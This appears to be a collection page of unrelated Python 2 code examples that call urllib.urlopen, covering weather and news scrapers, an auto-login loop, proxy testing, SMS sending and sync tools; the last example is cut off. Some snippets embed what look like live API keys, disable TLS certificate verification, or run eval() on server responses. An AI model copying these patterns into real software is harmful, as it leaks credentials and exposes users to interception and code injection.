Exemple #1
0
def getTiempo():
	dicc = {}
	code = urllib.urlopen("http://weather.yahooapis.com/forecastrss?w=468739&u=c")
	tempsmn = urllib.urlopen("http://www.smn.gov.ar/layouts/temperatura_layout.php").read().decode('iso-8859-1').encode("utf-8").split("º")[0]
	parse = et.parse(code)
	root = parse.getroot()
	tiempo = root[0][12][5].attrib

	dicc['temperatura'] = str(tempsmn)
	if (dicc['temperatura'] == ""):
		print getTime(), "[Tiempo] ADV: Temperatura de Yahoo"
		dicc['temperatura'] = str(tiempo['temp'])

	estadosArray = ['Tornado', 'Tormenta tropical', 'Huracán', "Tormentas fuertes", "Tormenta", "Lluvia y nieve", "Lluvia y aguanieve", "Aguanieve y nieve", "Llovizna helada", "Llovizna", "Lluvia helada", "Lluvia", "Lluvia", "Copos de nieve", "Lluvia ligera", "Nieve y viento", "Nieve", "Granizo", "Aguanieve", "Polvo", "Brumoso", "Neblina", "Humo", "Un poco ventoso", "Ventoso", "Frío", "Nublado", "Parcialmente nublado", "Parcialmente nublado", "Un poco nublado", "Un poco nublado", "Despejado", "Soleado", "Templado", "Templado", "Lluvia con piedras", "Caluroso", "Tormentas aisladas", "Tormentas dispersas", "Tormentas dispersas", "Lluvias Dispersas", "Fuertes Nevadas", "Nevada Leve Dispersa", "Fuertes Nevadas", "Parcialmente Nublado", "Chaparrón", "Nevada Leve", "Chaparrones Aislados"]
	dicc['estado'] = estadosArray[int(tiempo['code'])]
	dicc['icono'] = 'http://l.yimg.com/a/i/us/nws/weather/gr/'+ str(tiempo['code']) + dayOrNight(tiempo['date']) + '.png'

	dicc['minima'] = root[0][12][7].attrib['low']
	dicc['maxima'] = root[0][12][7].attrib['high']

	pronextarray = []
	dicc['extendido'] = pronextarray
	for x in range(8,12):
		pronextarray.append({"dia" : root[0][12][x].attrib['day'], "fecha" : root[0][12][x].attrib['date'], "minima" : root[0][12][x].attrib['low'], "maxima" : root[0][12][x].attrib['high'], "estado" : estadosArray[int(root[0][12][x].attrib['code'])], "icono" : 'http://l.yimg.com/a/i/us/nws/weather/gr/'+ str(root[0][12][x].attrib['code']) + 'd.png'})

	jsonString = json.dumps(dicc)

	jsonFile = open("../servicios/tiempo/serv.json", 'w')
	jsonFile.write(jsonString)
	jsonFile.close()
	print getTime(), "[Tiempo] JSON editado"
	threading.Timer(1800.0, getTiempo).start()
Exemple #2
0
	def _child_main_loop(self, queue):
		while True:
			url = "http://geekhost.net/OK"
			f = urllib.urlopen(url)
			data = f.read()
			#print data
			abcPattern = re.compile(r'OK')
			if abcPattern.match(data):
				queue.put('Already logined')
			else:
				queue.put('Need login')
				LOGIN_URL = 'https://auth-wlc.ntwk.dendai.ac.jp/login.html'
				#LOGIN_URL = 'http://geekhost.net/checkparams.php'
				pd = yaml.load(open('config.yaml').read().decode('utf-8'))
				pd['buttonClicked'] = '4'
				pd['redirect_url'] = 'http://google.com/'
				pd["err_flag"] = "0" 
				pd["err_msg"] = ""
				pd["info_flag"] = "0"
				pd["info_msg"] = ""
				params = urllib.urlencode(pd)
				print repr(params)
				up = urllib.urlopen(LOGIN_URL, params)
			# あとは寝てる
			time.sleep(yaml.load(open('config.yaml').read().decode('utf-8'))['threadtime'])
Exemple #3
0
def RepoSearch(url):
	if url is None: repeat= True 
	else: repeat=False

	for np in range(1,maxpg+1):
		if repeat: 
			url = "https://github.com/search?p="+ str(np) +"&q="+search+"&type=Repositories"
		else:
			if np >1: return			
		page = html.fromstring(urllib.urlopen(url).read())

		if len(page.find_class('repo-list-name')) ==0:
			tmp = "Too many requests"
			if urllib.urlopen(url).read().find(tmp) != -1:
				print col.FAIL, col.BOLD,"Due to GitHub policy you can't make too many request, wait a minute!",col.ENDC
				break

			if np==1:
				print col.FAIL, col.BOLD,"Repo not found", col.ENDC
			break

		for link in page.find_class('repo-list-name'):
			rep = link.getchildren()[0].get('href')
			print rep,":"
			print col.OKBLUE,col.BOLD, "\thttps://github.com"+rep+".git\n", col.ENDC
	return
  def _TreeStatusTestHelper(self, tree_status, general_state, expected_return,
                            retries_500=0, max_timeout=0):
    """Tests whether we return the correct value based on tree_status."""
    return_status = self._TreeStatusFile(tree_status, general_state)
    self.mox.StubOutWithMock(urllib, 'urlopen')
    status_url = 'https://chromiumos-status.appspot.com/current?format=json'
    backoff = 1
    sleep_timeout = 1
    for _attempt in range(retries_500):
      urllib.urlopen(status_url).AndReturn(return_status)
      return_status.getcode().AndReturn(500)
      time.sleep(backoff)
      backoff *= 2

    urllib.urlopen(status_url).MultipleTimes().AndReturn(return_status)
    # Time is checked twice to bootstrap.
    start_time = 1
    self.mox.StubOutWithMock(time, 'time')
    time.time().AndReturn(start_time)
    time.time().AndReturn(start_time)

    if expected_return == False:
      for time_plus in xrange(max_timeout + 1):
        time.time().AndReturn(start_time + time_plus)
      self.mox.StubOutWithMock(cros_build_lib, 'Info')
      cros_build_lib.Info(mox.IgnoreArg(), mox.IgnoreArg()).MultipleTimes()
      time.sleep(sleep_timeout).MultipleTimes()

    return_status.getcode().MultipleTimes().AndReturn(200)
    return_status.read().MultipleTimes().AndReturn(return_status.json)
    self.mox.ReplayAll()
    self.assertEqual(cros_build_lib.TreeOpen(status_url, sleep_timeout,
                                             max_timeout), expected_return)
    self.mox.VerifyAll()
def find_proxy( url, timeout, testing_url):

	try:
		response = urllib.urlopen( url )
	except:
		if Debug: print "Request to get proxy failed."
		return (False, False)

	result=response.getcode()

	content = response.read()

	data = json.loads( content )

	if Debug: print data['curl']

	start_time = time.time()

	try:
		response = urllib.urlopen(testing_url, proxies={'http':data['curl']})
	except:
		if Debug: print "Proxy test request failed."
		return (False, False)

	result=response.getcode()
	request_time = time.time() - start_time

	if result == 200: 
		if Debug: print "\n\nGot test url with %d in %f seconds" % (result, request_time)
		return (data['curl'], request_time)


	else:
		if Debug: print "Failed with %d" % result
		return (False, False)
Exemple #6
0
 def wikipedia(self, artistname):
   # Get a file-like object for the Python Web site's home page.
   values = []
   months = []
   wiki = {}
   for i in range(1,13):
     if i < 10:
       yearmonth = "20130" + str(i)
     else:
       yearmonth = "2013" + str(i)
     website = "http://stats.grok.se/en/" + yearmonth + "/" + artistname 
     f = urllib.urlopen(website)
     s = f.read()
     regex = re.compile("has been viewed (\d*)")
     r = regex.search(s)
     wiki[yearmonth] = int(r.groups()[0])
     values.append(int(r.groups()[0]))
     months.append(yearmonth)
     f.close()
   for i in range(1,4):  
     yearmonth = "20140" + str(i)
     website = "http://stats.grok.se/en/" + yearmonth + "/" + artistname 
     f = urllib.urlopen(website)
     s = f.read()
     regex = re.compile("has been viewed (\d*)")
     r = regex.search(s)
     wiki[yearmonth] = int(r.groups()[0])
     values.append(int(r.groups()[0]))
     months.append(yearmonth)
     f.close()
   print "finished wiki"
   return [values, months]
def wait_on_app(port):
  """ Waits for the application hosted on this machine, on the given port,
      to respond to HTTP requests.

  Args:
    port: Port where app is hosted on the local machine
  Returns:
    True on success, False otherwise
  """
  backoff = INITIAL_BACKOFF_TIME
  retries = MAX_FETCH_ATTEMPTS
  private_ip = appscale_info.get_private_ip()

  url = "http://" + private_ip + ":" + str(port) + FETCH_PATH
  while retries > 0:
    try:
      urllib.urlopen(url)
      return True
    except IOError:
      retries -= 1

    logging.warning("Application was not up at %s, retrying in %d seconds"%\
                   (url, backoff))
    time.sleep(backoff)
    backoff *= 2

  logging.error("Application did not come up on %s after %d attemps"%\
                (url, MAX_FETCH_ATTEMPTS))
  return False
Exemple #8
0
def main():
    html = urllib.urlopen("http://bankpro.jrj.com.cn/json/f.jspa?size=500&pn=1&t={%22xszt%22:%220%22,%22st%22:%220%22,%22xsdq%22:%22-1,-1%22,%22sort%22:%22sell_org_date%22,%22order%22:%22desc%22,%22wd%22:%22%22}").read()
    run(html)
    time.sleep(1)
    html = urllib.urlopen("http://bankpro.jrj.com.cn/json/f.jspa?size=500&pn=1&t={%22xszt%22:%221%22,%22st%22:%220%22,%22xsdq%22:%22-1,-1%22,%22sort%22:%22sell_org_date%22,%22order%22:%22desc%22,%22wd%22:%22%22}").read()
    run(html)
    time.sleep(1)
    def run( self ):
        """Executes the body of the script."""
    
        logging.info("Log level set to INFO")
        logging.debug("Log Level set to DEBUG")
        
        jobNumber = self.jobNumber

        #print jobNumber
        #print jobNumber[:3]

        portalURL = self.server
        home = '/home/sbsuser/pacbio/raw/'
        splicehome = '/pacbio/raw'
        ext = self.opts.ext
        #print ext
        records = set()
            
        if ext == "ccs_reads.fastq":
            cmd = 'wget http://node1.1425mad.mssm.edu/pacbio/secondary/%s/%s/data/ccs_reads.fastq' % (jobNumber[:3],jobNumber)
            logging.info(cmd)
            os.system(cmd)
        elif ext == "cmp.h5":
            #logIn = urllib.urlopen('http://node1.1425mad.mssm.edu/pacbio/secondary/%s/%s/data/aligned_reads.cmp.h5' % (jobNumber[:3],jobNumber))
            cmd = 'wget http://node1.1425mad.mssm.edu/pacbio/secondary/%s/%s/data/aligned_reads.cmp.h5' % (jobNumber[:3],jobNumber)
            logging.info(cmd)
            os.system(cmd)
        elif ext == "bax.h5":

            logIn = urllib.urlopen('http://node1.1425mad.mssm.edu/pacbio/secondary/%s/%s/log/smrtpipe.log' % (jobNumber[:3],jobNumber))
            for line in logIn:
                if home in line:
                    ll = line.split(" ")
                    #print "starting a new set:"
                    #print ll
                    #print "raw: ", line
                    line = ll[-3]
                    #print "split: ", line
                    #print portalURL
                    #print line[line.find(splicehome):line.find("bax.h5")]
                    #print ext
                    if not "m" in line[line.find(splicehome):line.find("bax.h5")]:
                        continue

                    records.add(portalURL+line[line.find(splicehome):line.find("bax.h5")] + ext)
                    records.add(portalURL+line[line.find(splicehome):line.find("bax.h5")-2] + "bas.h5")
                    #print records
        else:
            print >>sys.stderr, "Not supported file type!"

        for address in records:
            logging.info(address)
            fileIn = urllib.urlopen(address)
            if self.opts.noprefix:
                fileout = open(address.split('/')[-1],'w')
            else:
                fileout = open(self.prefix+address.split('/')[-1],'w')
            fileout.write(fileIn.read())
            fileout.close()	
        return 0
Exemple #10
0
 def send_sms(self, phone, content):
     try:
         params = {'phone':phone, 'content':content}
         data = urllib.urlencode(params)
         smsUrl = 'http://yw.admin.youja.cn/sms'
         urllib.urlopen(smsUrl, data=data)
     except:pass
Exemple #11
0
 def get(self, action=""):
     url = self.request.get("url")
     try: #bit.ly
         result = urllib.urlopen("http://api.bit.ly/v3/shorten?login=crowy&apiKey=R_57bab6c0fb01da4e1e0a5e22f73c3a4a&format=json&longUrl=%s" % urllib.quote(url)).read()
         json = simplejson.loads(result)
         if json['status_code'] == 200:
             self.response.out.write(json['data']['url'])
             return
         else:
             logging.warn(result)
     except:
         logging.warn("Unexpected error.")
     try: #goo.gl
         api_url = 'https://www.googleapis.com/urlshortener/v1/url?key=AIzaSyBRoz9ItBIQgHwWbZbmkF45dFiRKub2XzI&userip='+self.request.remote_addr
         post_data = simplejson.dumps({'longUrl':url})
         result = urlfetch.fetch(url=api_url,
                     payload=post_data,
                     method=urlfetch.POST,
                     headers={'Content-Type': 'application/json'})
         if result.status_code == 200:
             result = simplejson.loads(result.content)
             self.response.out.write(result['id'])
             return
         else:
             logging.warn(result.content)
     except:
         logging.warn("Unexpected error.")
     try:#tinyurl
         short_url = urllib.urlopen("http://tinyurl.com/api-create.php?url=%s" % urllib.quote(url))
         self.response.out.write(short_url.read())
         return
     except:
         logging.warn("Unexpected error.")
     self.error(400)
def requires():
        print "** COORDINATOR **"
       # print redwood_host
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        # now query the metadata service so I have the mapping of bundle_uuid & file names -> file_uuid
        print str("https://"+redwood_host+":8444/entities?page=0")
        json_str = urlopen(str("https://"+redwood_host+":8444/entities?page=0"), context=ctx).read()
        metadata_struct = json.loads(json_str)
        print "** METADATA TOTAL PAGES: "+str(metadata_struct["totalPages"])
        for i in range(0, metadata_struct["totalPages"]):
            print "** CURRENT METADATA TOTAL PAGES: "+str(i)
            json_str = urlopen(str("https://"+redwood_host+":8444/entities?page="+str(i)), context=ctx).read()
            metadata_struct = json.loads(json_str)
            for file_hash in metadata_struct["content"]:
                bundle_uuid_filename_to_file_uuid[file_hash["gnosId"]+"_"+file_hash["fileName"]] = file_hash["id"]

        #print bundle_uuid_filename_to_file_uuid
                # HACK!!!  Please remove once the behavior has been fixed in the workflow!!
                if file_hash["fileName"].endswith(".sortedByCoord.md.bam"):
                    bundle_uuid_filename_to_file_uuid[file_hash["gnosId"] + "_sortedByCoord.md.bam"] = file_hash[
                        "id"]
                if file_hash["fileName"].endswith(".tar.gz"):
                    bundle_uuid_filename_to_file_uuid[file_hash["gnosId"] + "_tar.gz"] = file_hash[
                        "id"]
                if file_hash["fileName"].endswith(".wiggle.bg"):
                    bundle_uuid_filename_to_file_uuid[file_hash["gnosId"] + "_wiggle.bg"] = file_hash[
                        "id"]
Exemple #13
0
def parseresultpage(page, search, order, sort, regex):
    logger.info("    [+] Pulling results from page " + str(page))
    githubbase = "https://github.com/search?"
    githubsearchurl = {"o": order, "p": page, "q": search, "s": sort, "type": "Code", "ref": "searchresults"}
    searchurl = githubbase + str(urlencode(githubsearchurl))
    pagehtml = urlopen(searchurl).read()
    soup = BeautifulSoup(pagehtml, "html.parser")

    # Find GitHub div with code results
    results = soup.findAll("div", attrs={"class": "code-list-item"})

    # Pull url's from results and hit each of them
    soup1 = BeautifulSoup(str(results), "html.parser")
    for item in soup1.findAll("p", attrs={"class": "full-path"}):
        soup2 = BeautifulSoup(str(item), "html.parser")
        for link in soup2.findAll("a"):
            individualresult = "https://github.com" + str(link["href"])
            individualresultpage = urlopen(individualresult).read()
            soup3 = BeautifulSoup(str(individualresultpage), "html.parser")
            for rawlink in soup3.findAll("a", attrs={"id": "raw-url"}):
                rawurl = "https://github.com" + str(rawlink["href"])
                if args.custom_regex:
                    searchcode(rawurl, regex)
                else:
                    wpsearchcode(rawurl, regex)
def parseFeed():
    linklist = []
    info = []
    d = feedparser.parse('http://news.google.com/news?pz=1&cf=all&ned=us&hl=en&output=rss')
    feedlink = d.feed.link
    site = urllib.urlopen(feedlink).read()
    parsed = parser.feed(site)
    j = 0
    foundlinks = False
    for line in parsed:
        #if foundlinks:
            #print line
        if "attr" in line and "links" in line:
            foundlinks = True
            print line
    links = []
    i = 2
    x = 0
    for link in links:
        linklist.append(link.firstChild.nodeValue)
        page = urllib.urlopen(link.firstChild.nodeValue).read()
        info.append(re.search('h',page))
        i = i - 1
        if i == 0:
            break
    #for item in info:
    #   x = x+1
    return info
    def downloadPSSOPage(self):
        username = self.lineEdit.text()
        password = self.lineEdit_2.text()
        login_url = 'https://psso.fh-koeln.de/qisserver/rds?state=user&type=1&category=auth.login&startpage=portal.vm&breadCrumbSource=portal'
        params = urllib.urlencode({'asdf': username, 'fdsa': password, 'submit':'Login'}) # lol
        html_1 = urllib.urlopen(login_url, params).read()

        if not noten.checkLogin(html_1):
            self.showErrorPopup(u"Sind die Login Daten möglicherweise falsch?")
            return
        try:
            # Von hier an simulieren wir einen Crawler
            html_2 = urllib.urlopen(noten.getLinkByName(html_1, "Prüfungsverwaltung")).read()
            html_3 = urllib.urlopen(noten.getLinkByName(html_2, "Notenspiegel")).read()
            html_4 = urllib.urlopen(noten.getLinkByName(html_3, re.compile("Abschluss"))).read()
            html_5 = urllib.urlopen(noten.getLinkByGraphic(html_4, "/QIS/images//his_info3.gif")).read()
        except TypeError as e:
           self.showErrorPopup(u"Scheinbar haben sich die PSSO Seiten verändert… Sag' bitte Hugo bescheid, damit er das Programm reparieren kann!")
           return
        try:
            anz_noten, anz_credits, schnitt = noten.getInfos(html_5)
            name = noten.getStudentName(html_5)
            self.presentResults(anz_noten, anz_credits, schnitt, name)
        except noten.ParsingError as e:
            self.showErrorPopup(str(e))
def image(title,id):
    
    titleUrl = "http://de.wikipedia.org/w/api.php?action=query&titles="+title+"&prop=images&format=json"
    imgJson = simplejson.loads(urllib.urlopen(titleUrl).read())

    imageUrl = None
    
    if imgJson['query']['pages'].has_key(id):
        if imgJson['query']['pages'][id].has_key('images'):
            if imgJson['query']['pages'][id]['images'][0]:
                imageTitle = imgJson['query']['pages'][id]['images'][0]['title']
                imageTitle = imageTitle.encode('utf-8')
                imageTitleUrl = "http://de.wikipedia.org/w/api.php?action=query&titles="+imageTitle+"&prop=imageinfo&iiprop=url&format=json"
     
                imgTitleJson = simplejson.loads(urllib.urlopen(imageTitleUrl).read())
                
            
                if imgTitleJson['query']['pages'].has_key("-1"):
                    if imgTitleJson['query']['pages']['-1'].has_key('imageinfo') :
                        imageUrl = imgTitleJson['query']['pages']['-1']['imageinfo'][0]['url']
        
                elif imgTitleJson['query']['pages'].has_key('id'):
                     if imgTitleJson['query']['pages']['id'].has_key('imageinfo'):
                        imageUrl = imgTitleJson['query']['pages']['id']['imageinfo'][0]['url']
    
        
    return imageUrl
Exemple #17
0
 def _stop_server(cls):
     import urllib # Yup, that's right.
     try:
         urllib.urlopen(cls.scheme + '://' + cls.host + ':' + str(cls.port) + '/shutdown')
     except IOError:
         pass
     cls.server_thread.join()
def main(max_base, separator='\t'):
  f = urllib.urlopen("http://bealstreasure.com/members/getwork.php?username="******"&max_base=" + str(max_base)).read()
  
  warning("f: ", f)
  tmp_vals = f.split(",")
  warning("tmp_vals: ", tmp_vals)
  (m, n, set_id) = (int(tmp_vals[0]),int(tmp_vals[1]),tmp_vals[2])

  max_exp = max([m, n])
  table = initial_data_table(max_base, m, n)
  
  if (max_exp < max([m, n]) + 10):
    table = initial_data_table(max_base, m, n)
    max_exp = max([m, n])
       
  powx, powy = initial_data_pow(max_base, m, n)

  for x in xrange(1, max_base):
    powx_tmp = powx[x]
    for y in xrange(1, x):
      if gcd(x,y) > 1: continue
      sum = powx_tmp + powy[y]
      zr = table.get(sum)
      if zr:
        report(x, m, y, n)

  f = urllib.urlopen("http://bealstreasure.com/members/savework.php?result=false&memory=" + str(memory) + "&id=" + str(set_id)).read()
  
  printing("(%d, %d, %s)" % (m, n, set_id))
    def update(self):
        playlist_id_query = 'https://www.googleapis.com/youtube/v3/channels?' \
                            'part=contentDetails&id=%s&key=%s' % \
                            (self.config['channel_id'], self.config['api_key'])
        file_a = urllib.urlopen(playlist_id_query)
        playlist_response = json.loads(file_a.read())
        playlist_id = playlist_response['items'][0]['contentDetails']\
            ['relatedPlaylists']['uploads']

        query = "https://www.googleapis.com/youtube/v3/playlistItems?" \
                "part=snippet&playlistId=%s&key=%s" % \
                (playlist_id, self.config['api_key'])

        file_b = urllib.urlopen(query)
        raw = file_b.read()
        response = json.loads(raw)

        for entry in response['items']:
            snippet = entry['snippet']
            video_id = snippet['resourceId']['videoId']
            video_url = 'https://www.youtube.com/watch?v=%s' % video_id
            link = video_url
            try:
                image_url = snippet['thumbnails']['maxres'].get('url')
            except KeyError:
                image_url = snippet['thumbnails']['high'].get('url')
            self.create_story(
                link,
                title=snippet.get('title'),
                body=snippet['description'],
                image_url=image_url,
                timestamp=datetime.strptime(
                    snippet['publishedAt'], '%Y-%m-%dT%H:%M:%S.000Z'
                ),
            )
Exemple #20
0
    def Configure(self, prefix="XBMC-Event", xbmcip="192.168.1.1", xbmchttpport=8080, zone="224.0.0.2", port=8278, selfXbmceventbroadcast=False, payDelim="<b></b>"):
        panel = eg.ConfigPanel(self)

        editCtrl = panel.TextCtrl(prefix)
        xbmcipCtrl = panel.TextCtrl(xbmcip)
        xbmchttpportCtrl = panel.SpinIntCtrl(xbmchttpport, min=1, max=65535)
        zoneCtrl = panel.TextCtrl(zone)
        portCtrl = panel.SpinIntCtrl(port, min=1, max=65535)
        selfXbmceventbroadcastCtrl=panel.CheckBox(selfXbmceventbroadcast)
        payDelimCtrl = panel.TextCtrl(payDelim)

        panel.AddLine(self.text.eventPrefix, editCtrl)
        panel.AddLine(self.text.xbmcip, xbmcipCtrl)
        panel.AddLine(self.text.xbmchttpport, xbmchttpportCtrl)
        panel.AddLine(self.text.zone, zoneCtrl)
        panel.AddLine(self.text.port, portCtrl)

        panel.AddLine(self.text.selfXbmceventbroadcast,selfXbmceventbroadcastCtrl)
        panel.AddLine("Payload Delimiter", payDelimCtrl)

        while panel.Affirmed():
            panel.SetResult(editCtrl.GetValue(),xbmcipCtrl.GetValue(),int(xbmchttpportCtrl.GetValue()),zoneCtrl.GetValue(),int(portCtrl.GetValue()),selfXbmceventbroadcastCtrl.GetValue(), payDelimCtrl.GetValue() )
            v_header = urllib.quote("This is the Header")

            v_message = urllib.quote("This is the Message")

	    host_xbmc = xbmcipCtrl.GetValue()
	    port_xbmc = int(xbmchttpportCtrl.GetValue())
	    udp_xbmc = int(portCtrl.GetValue())
	    url_xbmc = "http://" + str(host_xbmc) + ":" + str(port_xbmc) + "/xbmcCmds/xbmcHttp?command=SetBroadcast&parameter=2;" + str(udp_xbmc) + "(Notification(" + v_header + "," + v_message + "))"
            print "str(url_xbmc)"
	    try:
				urllib.urlopen(url_xbmc)
	    except IOError:
				print 'Connection error'
Exemple #21
0
def ping_google(sitemap_url=None, ping_url=PING_URL):
    """
    Alerts Google that the sitemap for the current site has been updated.
    If sitemap_url is provided, it should be an absolute path to the sitemap
    for this site -- e.g., '/sitemap.xml'. If sitemap_url is not provided, this
    function will attempt to deduce it by using urlresolvers.reverse().
    """
    if sitemap_url is None:
        try:
            # First, try to get the "index" sitemap URL.
            sitemap_url = urlresolvers.reverse('django.contrib.sitemaps.views.index')
        except urlresolvers.NoReverseMatch:
            try:
                # Next, try for the "global" sitemap URL.
                sitemap_url = urlresolvers.reverse('django.contrib.sitemaps.views.sitemap')
            except urlresolvers.NoReverseMatch:
                pass

    if sitemap_url is None:
        raise SitemapNotFound("You didn't provide a sitemap_url, and the sitemap URL couldn't be auto-detected.")

    from django.contrib.sites.models import Site
    current_site = Site.objects.get_current()
    url = "http://%s%s" % (current_site.domain, sitemap_url)
    params = urllib.urlencode({'sitemap':url})
    urllib.urlopen("%s?%s" % (ping_url, params))
Exemple #22
0
 def main_loop(self):
     while True:
         try:
             time.sleep(1)
             this_dir = os.listdir(os.getcwd())
             that_dir = eval(urllib.urlopen(self.url + "/list/" + self.username + "/" + self.password).read())
             if str(this_dir) != str(that_dir):
                 for this in this_dir:
                     if this not in self.files and this != sys.argv[0]:
                         with open(this, "rb") as md5file:
                             print "added", this
                             self.files[this] = hashlib.md5(md5file.read()).hexdigest()
                     if this not in that_dir and this != sys.argv[0]:
                         thread.start_new_thread(self.upload, (this,))
                 for that in that_dir:
                     if that not in this_dir:
                         thread.start_new_thread(self.download, (that,))
                 for file in self.files:
                     try:
                         with open(file, "rb") as check_file:
                             check = hashlib.md5(check_file.read()).hexdigest()
                             if check != self.files[file]:
                                 print file, "changed"
                                 urllib.urlopen(
                                     self.url + "/delete/" + self.username + "/" + self.password + "/" + file
                                 )
                                 self.files[file] = check
                                 thread.start_new_thread(self.upload, (file,))
                     except IOError:
                         pass
         except IOError:
             print "It seems as though your server is down, please check it."
             time.sleep(60)
    def get_cur(self):
        types = ('alpha','beta','pre','rc',None,'p')
        version = self.base[0]
        if self.opts.version is not None:
            version = self.opts.version

        type = self.base[1]
        if self.opts.type == 'tagged':
            type = 4
            self.opts.hash = None
        elif self.opts.type is not None:
            type = types.index(self.opts.type)

        if self.opts.branch:
            self.branch = self.opts.branch
        elif type < 4:
            self.branch = 'master'
        else:
            self.branch = 'fixes/{0}'.format('.'.join(version.split('.')[0:2]))

        if type != 4:
            if self.opts.hash is None:
                commit = json.load(urllib.urlopen("https://api.github.com/repos/mythtv/MythTV/commits/" + urllib.quote(self.branch, '')))
                self.opts.hash = commit['sha']
                if self.opts.date is None:
                    self.opts.date = process_date(commit['commit']['committer']['date']).strftime('%Y%m%d')
                print "Autoselecting hash: "+self.opts.hash
            elif self.opts.date is None:
                commit = json.load(urllib.urlopen("https://api.github.com/repos/mythtv/MythTV/commits/" + self.opts.hash))
                self.opts.date = process_date(commit['commit']['committer']['date']).strftime('%Y%m%d')

        self.cur = (version, type, self.opts.date)
        if self.opts.verbose: print 'New version set to: {0}-{1}'.format(self.name,self.get_version(self.cur))
Exemple #24
0
def update_urls():
    workers = itertools.cycle(models.get_workers())
    remote_urls = models.get_urls_to_check()
    for url in remote_urls:
        response = _make_request(workers.next(), url)
        for subscriber in url.subscribers:
            urllib.urlopen(subscriber.callback, data=response)
  def __init__(self, versions):
    self.versions = versions

    resp = urllib.urlopen("https://issues.apache.org/jira/rest/api/2/field")
    data = json.loads(resp.read())

    self.fieldIdMap = {}
    for part in data:
      self.fieldIdMap[part['name']] = part['id']

    self.jiras = []
    at=0
    end=1
    count=100
    while (at < end):
      params = urllib.urlencode({'jql': "project in (HADOOP,HDFS,MAPREDUCE,YARN) and fixVersion in ('"+"' , '".join(versions)+"') and resolution = Fixed", 'startAt':at, 'maxResults':count})
      resp = urllib.urlopen("https://issues.apache.org/jira/rest/api/2/search?%s"%params)
      data = json.loads(resp.read())
      if (data.has_key('errorMessages')):
        raise Exception(data['errorMessages'])
      at = data['startAt'] + data['maxResults']
      end = data['total']
      self.jiras.extend(data['issues'])

    self.iter = self.jiras.__iter__()
Exemple #26
0
def getRss():
	codert = urllib.urlopen("http://actualidad.rt.com/feeds/all.rss?rss=1")
	codetn = urllib.urlopen("http://www.tn.com.ar/rss.xml")
	codeinfobae = urllib.urlopen("http://cdn01.ib.infobae.com/adjuntos/162/rss/Infobae.xml")
	#codetelam = urllib.urlopen("http://www.telam.com.ar/rss2/ultimasnoticas.xml")

	jsonrt = {"rss" : base64.b64encode(codert.read())}
	filert = open("../servicios/rt/serv.json", 'w')
	filert.write(json.dumps(jsonrt))
	filert.close()

	jsontn = {"rss" : base64.b64encode(codetn.read())}
	filetn = open("../servicios/tn/serv.json", 'w')
	filetn.write(json.dumps(jsontn))
	filetn.close()

	jsoninfobae = {"rss" : base64.b64encode(codeinfobae.read())}
	fileinfobae = open("../servicios/infobae/serv.json", 'w')
	fileinfobae.write(json.dumps(jsoninfobae))
	filert.close()

	'''filetelam = open("../servicios/telam/rss.xml", 'w')
	filetelam.write(codetelam.read())
	filetelam.close()'''

	print getTime(),"[RSS] RSS's actualizados"

	threading.Timer(300.0, getRss).start()
Exemple #27
0
    def SendSms(self,text="Default text message"):

        deltaT=datetime.now()-self.last_sms
        if  deltaT.seconds>self.min_period or self.sent==0:
            if self.settings.debug>0:
                logging.info("Debug SMS sent %s " %time.strftime("%I:%M:%S %p", time.localtime()))
                self.sent=1
                return 1
            else:
                self.last_sms=datetime.now()
                self.config={}
                self.config['username']=self.username
                self.config['password']=self.password
                #needs to be changed with international prefix what an hassle!
                self.config['to']=self.to
                self.config['from']=self.sender
                self.config['text']=text
                self.config['maxconcat']=self.MaxConCatMsgs
                query = urllib.urlencode(self.config)
                try:
                    if self.UseProxies>0 :
                        file = urllib.urlopen(self.url1+self.pushpage, query,proxies=self.proxies)
                    else:
                        file = urllib.urlopen(self.url1+self.pushpage, query,proxies=None)
                except IOError, (errno):
                    logging.error ("Error delivering online SMS %s " %errno) 
                    return 0
                self.sent=1
                self.output = file.read()
                file.close()
                logging.info("Message sent to %s from %s" % (self.to, self.sender)) 
                #return self.ParseRequest()
                return 1
Exemple #28
0
    def run(self):        
        use_selection = 0
        if self.parent.ch_lyrics_song_list.GetSelection() >= 0:
            use_selection = self.parent.ch_lyrics_song_list.GetSelection()
           

        #print query_string
        url_connection = urllib.urlopen(self.query_string.replace(' ', '+'))
        raw_results = url_connection.read()                
        
        results_array = raw_results.split('\n')        
        #print results_array
        self.parent.ch_lyrics_song_list.Clear()
        for x in results_array:
            y = x.split('\\')[1]
            self.parent.ch_lyrics_song_list.Append(y)
        if len(results_array) >= 1:
            if use_selection > (len(results_array) - 1):
                use_selection = 0
            self.parent.ch_lyrics_song_list.SetSelection(use_selection)                    
        lyrics_id = results_array[use_selection].split('\\')[0]
                        
        #print lyrics_id
        
        #http://www.lyrdb.com/getlyr.php?q=id
        lyrics_query = 'http://www.lyrdb.com/getlyr.php?q=' + lyrics_id
        lyrics_query = url_quote(lyrics_query)
        try:
            url_connection = urllib.urlopen(lyrics_query.replace(' ', '+'))
            raw_results = url_connection.read()
        except Exception, expt:
            raw_results = str(Excpetion) + ' ' + str(expt)
Exemple #29
0
def main():
  
  search_str = sys.argv[1]
  movie_ID_list = []
  pair=[]
  calls = 0
  
  #movie_ID_name
  movie_ID_name_csv.write("Id,Label\n")
  for i in range(1,7):
    if (calls == 4):
      time.sleep(1)
    response = urllib.urlopen(search_url+str(i))
    calls = (calls+1)%5
    data = json.loads(response.read())
    #print "ID: ",data["movies"][0]["id"],", Title: ",data["movies"][0]["title"]
    for movie in data["movies"]:
      movie_ID_name.write(movie["id"]+","+movie["title"]+"\n")
      movie_ID_name_csv.write(movie["id"]+","+movie["title"]+"\n")
      movie_ID_list.append(movie["id"])

  #movie_ID_sim_movie_ID
  movie_ID_sim_movie_ID_csv.write("Source,Target,Type\n")
  for movie_id in movie_ID_list:
    if (calls == 4):
      time.sleep(1)
    response = urllib.urlopen(sim_url1+movie_id+sim_url2)
    calls = (calls+1)%5
    data = json.loads(response.read())
    for movie in data["movies"]:
      if([movie["id"],movie_id] in pair):
        continue
      movie_ID_sim_movie_ID.write(movie_id+","+movie["id"]+"\n")
      movie_ID_sim_movie_ID_csv.write(movie_id+","+movie["id"]+",Undirected\n")
      pair.append([movie_id,movie["id"]])
Exemple #30
0
def check_update():
    """
    check new version in remote server, and paste new release note
    :return:NONE
    """
    current_version = u'1.0.1.zip'
    try:
        url_path = urlopen("http://www-tac.cisco.com/~yalv/development/Zenus/download/mac/")
        raw_html = url_path.read().decode('utf-8')
        pattern = re.compile('.{6}zip')
        update_version = max(list(set(pattern.findall(raw_html))))
        if update_version > current_version:
